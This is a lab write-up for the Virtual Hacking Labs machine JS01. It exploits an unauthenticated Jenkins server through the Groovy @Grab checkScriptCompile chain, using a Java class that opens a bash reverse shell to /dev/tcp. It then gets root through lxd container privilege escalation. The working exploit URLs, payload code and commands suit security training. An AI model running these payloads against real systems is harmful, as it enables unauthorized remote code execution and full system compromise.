xsspresso
xsspresso
WriteupsVHL — JS01
WebEasyLinux

VHL — JS01

Jenkins CI/CD server with no authentication. Exploited the Groovy script console to execute commands and gain a root shell.

February 14, 2025Virtual Hacking Labs
#Jenkins#Groovy#Script Console#RCE

nmap

sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.11.2.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-14 08:53 EST
Nmap scan report for 10.11.2.242
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5c:41:e9:81:e3:a3:7f:8e:1a:6c:b9:e0:b2:47:37:a9 (RSA)
|   256 31:07:ba:e6:d3:47:9e:13:0f:07:10:19:d3:b9:7f:d8 (ECDSA)
|_  256 17:36:34:89:63:7a:71:0c:09:6c:ca:e4:7a:02:a8:71 (ED25519)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-robots.txt: 1 disallowed entry 
|_/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/14%OT=22%CT=1%CU=34439%PV=Y%DS=2%DC=I%G=Y%TM=67AF
OS:4B15%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=102%TI=Z%II=I%TS=A)OPS(O
OS:1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11N
OS:W7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R
OS:=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE
HOP RTT      ADDRESS
1   21.17 ms 10.11.2.242
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.05 seconds

8080

sh
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-robots.txt: 1 disallowed entry 
|_/
sh
msf6 auxiliary(scanner/http/jenkins_enum) > set rhosts 10.11.2.242
msf6 auxiliary(scanner/http/jenkins_enum) > set targeturi /
msf6 auxiliary(scanner/http/jenkins_enum) > set rport 8080

CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029

  • https://blog.orange.tw/posts/2019-01-hacking-jenkins-part-1-play-with-dynamic-routing/
  • https://blog.orange.tw/posts/2019-02-abusing-meta-programming-for-unauthenticated-rce/
  • https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
sh
http://10.11.2.242:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://172.16.1.1/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Ora
sh
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.11.2.242 - - [14/Feb/2025 10:28:35] code 404, message File not found
10.11.2.242 - - [14/Feb/2025 10:28:35] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.11.2.242 - - [14/Feb/2025 10:28:35] code 404, message File not found
10.11.2.242 - - [14/Feb/2025 10:28:35] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -

Orange.java

java
public class Orange {
    public Orange(){
        try {
            String payload = "bash -i >& /dev/tcp/172.16.1.1/1234 0>&1";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
 
    }
}
sh
javac Orange.java
mkdir -p META-INF/services/
echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
 
find .
.
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
./Orange.java
./Orange.class
sh
jar cvf poc-1.jar ./Orange.class META-INF/
added manifest
adding: Orange.class(in = 532) (out= 381)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
sh
mkdir -p tw/orange/poc/1
sh
cp poc-1.jar ./tw/orange/poc/1
sh
curl -I http://172.16.1.1/tw/orange/poc/1/poc-1.jar
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.10.0
Date: Fri, 14 Feb 2025 16:37:00 GMT
Content-type: application/java-archive
Content-Length: 1147
Last-Modified: Fri, 14 Feb 2025 16:35:58 GMT
sh
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.1.1 - - [14/Feb/2025 11:37:00] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 200 -

PoC

sh
http://10.11.2.242:8080/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://172.16.1.1/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
sh
http://10.11.2.242:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://172.16.1.1')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

sh
javac --version
javac 11.0.25-ea
sh
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_421/bin/javac" 0
sh
sudo update-alternatives --config javac 
There are 2 choices for the alternative javac (providing /usr/bin/javac).
 
  Selection    Path                                          Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      manual mode
  2            /usr/lib/jvm/jdk1.8.0_421/bin/javac            0         manual mode
 
Press <enter> to keep the current choice[*], or type selection number: 2
sh
sudo update-alternatives --install "/usr/bin/jar" "jar" "/usr/lib/jvm/jdk1.8.0_421/bin/jar" 0
sh
sudo update-alternatives --config jar
There are 3 choices for the alternative jar (providing /usr/bin/jar).
 
  Selection    Path                                        Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-11-openjdk-amd64/bin/jar   1111      auto mode
  1            /usr/bin/fastjar                             100       manual mode
  2            /usr/lib/jvm/java-11-openjdk-amd64/bin/jar   1111      manual mode
  3            /usr/lib/jvm/jdk1.8.0_421/bin/jar            0         manual mode
 
Press <enter> to keep the current choice[*], or type selection number: 3
update-alternatives: using /usr/lib/jvm/jdk1.8.0_421/bin/jar to provide /usr/bin/jar (jar) in manual mode
sh
javac -version
javac 1.8.0_421
  • used this PoC:
  • https://github.com/petercunha/jenkins-rce?tab=readme-ov-file

modify code to get a reverse shell

java
public class Orange {
    public Orange(){
        try {
            String payload = "bash -i >& /dev/tcp/172.16.1.1/1234 0>&1";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
 
    }
}

build

sh
./build.sh
  • copy the payload-1.jar to www/package/payload/1/
sh
http://10.11.2.242:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://172.16.1.1')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;
sh
sudo php -S 0.0.0.0:80
[Fri Feb 14 13:10:43 2025] PHP 8.2.18 Development Server (http://0.0.0.0:80) started
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45234 Accepted
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45234 [404]: HEAD /package/payload/1/payload-1.pom - No such file or directory
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45234 Closing
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45236 Accepted
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45236 [200]: HEAD /package/payload/1/payload-1.jar
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45236 Closing
[Fri Feb 14 13:10:47 2025] 10.11.2.242:45238 Accepted
[Fri Feb 14 13:10:47 2025] 10.11.2.242:45238 [200]: GET /package/payload/1/payload-1.jar
sh
nc -vlnp 1234
listening on [any] 1234 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.2.242] 47812
bash: cannot set terminal process group (1062): Inappropriate ioctl for device
bash: no job control in this shell
jenkins@js01:/$ whoami
whoami
jenkins
sh
python3 -c 'import pty; pty.spawn("/bin/bash")'

priv esc

linpeas

sh
╔══════════╣ Operative system
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 4.15.0-29-generic (buildd@lgw01-amd64-057) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018
Distributor ID:	Ubuntu
Description:	Ubuntu 18.04.1 LTS
Release:	18.04
Codename:	bionic
 
╔══════════╣ Sudo version
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.21p2
sh
╔══════════╣ My user
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
sh
╔══════════╣ Checking Pkexec policy
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2
 
[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin

lxd

  • https://www.google.com/search?client=firefox-b-1-e&q=lxd+privilege+escalation
sh
git clone  https://github.com/saghul/lxd-alpine-builder.git
sh
jenkins@js01:~$ wget http://172.16.1.1:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
sh
jenkins@js01:~$ lxd init

sh
jenkins@js01:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
sh
jenkins@js01:~$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | cd73881adaac | no     | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Feb 14, 2025 at 7:47pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
sh
jenkins@js01:~$ lxc init myimage ignite -c security.privileged=true
sh
jenkins@js01:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
sh
jenkins@js01:~$ lxc start ignite
sh
jenkins@js01:~$ lxc exec ignite /bin/sh
sh
jenkins@js01:~$ lxc exec ignite /bin/sh
lxc exec ignite /bin/sh
~ # ^[[38;5Rcd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ^[[38;18Rwhoami
whoami
root
/mnt/root/root # ^[[38;18Rcat key.txt
cat key.txt
91rm74ic7jvhp47k5561
/mnt/root/root # ^[[38;18Rdate
date
Fri Feb 14 19:52:13 UTC 2025
/mnt/root/root # ^[[38;18R